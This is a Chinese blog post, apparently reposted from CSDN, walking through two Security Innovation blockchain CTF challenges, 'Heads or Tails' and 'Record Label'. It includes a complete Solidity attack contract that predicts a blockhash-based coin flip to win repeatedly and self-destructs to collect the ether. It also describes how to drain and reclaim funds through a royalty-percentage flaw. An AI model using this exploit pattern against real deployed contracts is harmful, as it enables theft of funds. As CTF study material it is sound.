首页 > 电脑常识 > 区块链

security innovation 靶场刷题(下)(持续更新)

admin 区块链 2021-04-26 15:59:16 智能合约  
后台-系统设置-扩展变量-手机广告位-内容正文底部

Heads or Tails

    
    function play(bool _heads) external payable ctf{
        require(msg.value == cost, "Incorrect Transaction Value");
        require(gameFunds >= cost.div(2), "Insufficient Funds in Game Contract");
        bytes32 entropy = blockhash(block.number-1);
        bytes1 coinFlip = entropy[0] & 1;
        if ((coinFlip == 1 && _heads) || (coinFlip == 0 && !_heads)) {
            //win
            gameFunds = gameFunds.sub(msg.value.div(2));
            msg.sender.transfer(msg.value.mul(3).div(2));
        }
        else {
            //loser
            gameFunds = gameFunds.add(msg.value);
        }
    }

还是一个简单的随机数问题,写个合约攻击一下就行。
一定一定一定一定记得写个自毁函数,不然钱就没了。

pragma solidity 0.4.24;
interface HeadsOrTails{
    
    function play(bool _heads) external payable;

}

contract Feng {
    HeadsOrTails constant private target = HeadsOrTails(0x6B1E8Df7b809bE6bECe0FBFd94e90d6a854b2CC3);
    function attack(uint max) public payable{
        for(uint i = 0; i < max; i++){
            bytes32 entropy = blockhash(block.number-1);
            bytes1 coinFlip = entropy[0] & 1;
            bool _heads = (coinFlip == 1) ?true:false;
            target.play.value(0.1 ether)(_heads);
        }
    }
    function() public payable{
        
    }
    function kill() public {
        selfdestruct(msg.sender);
    }
}

Record Label

这题怎么说呢,我感觉有些怪。虽然说这个靶场的过关条件就是把目标合约中的余额给清空即可。
这个函数:

    function withdrawFundsAndPayRoyalties(uint256 _withdrawAmount) external ctf{
        require(_withdrawAmount<=funds, "Insufficient Funds in Contract");
        funds = funds.sub(_withdrawAmount);
        royalties.call.value(_withdrawAmount)();
        uint256 royaltiesPaid = Royalties(royalties).getLastPayoutAmountAndReset();
        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);
    }

如果我们直接转1 ether,那么会把这个合约的1 ether转给那个royalties,之后调用getLastPayoutAmountAndReset函数,得到的就是转入的总金额减去那边receive得到的钱,这部分的钱是转回了我们的目标合约中。但是

        uint256 artistPayout = _withdrawAmount.sub(royaltiesPaid); 
        msg.sender.transfer(artistPayout);

这部分又转给了我们自己。说白了就是%80给那边,%20给我们。如果直接传1 ether,那么目标合约的余额就被清空了,成功过关。

不过有一说一这题目吃我钱就有点难受的,我的想法是这个函数是可以修改receiverToPercentOfProfit的:

    function addRoyaltyReceiver(address _receiver, uint256 _percent) external isArtist{
        require(_percent<percentRemaining, "Precent Requested Must Be Less Than Percent Remaining");
        receiver.push(_receiver);
        receiverToPercentOfProfit[_receiver] = _percent;
        percentRemaining = percentRemaining.sub(_percent);
    }

虽然address private collectionsContract;是private,但是可以读到,然后把它作为_receiver传进入,_percent传0,就能把他的那%80清空。然后再withdrawFundsAndPayRoyalties传1 ether的话,就能把1 ether完全转回我们自己的账号的。

怪就怪在,我找的几个WP都是说直接传1 ether过关即可。。。虽然是虚拟即ETH,但是我ETH真的不多,所以想方设法把它转回来。。。可能写WP的那些师傅们ETH比较多叭。。。
操作比较简单,这里就不具体放了。

文章来源:https://blog.csdn.net/rfrder/article/details/116136720

后台-系统设置-扩展变量-手机广告位-内容正文底部
版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。
本文地址:https://jcdi.cn/diannaochangshi/qukuailian/771.html

留言与评论(共有 0 条评论)
   
验证码:
后台-系统设置-扩展变量-手机广告位-评论底部广告位

教程弟

https://www.jcdi.cn/

统计代码 | 京ICP1234567-2号

Powered By 教程弟 教程弟

使用手机软件扫描微信二维码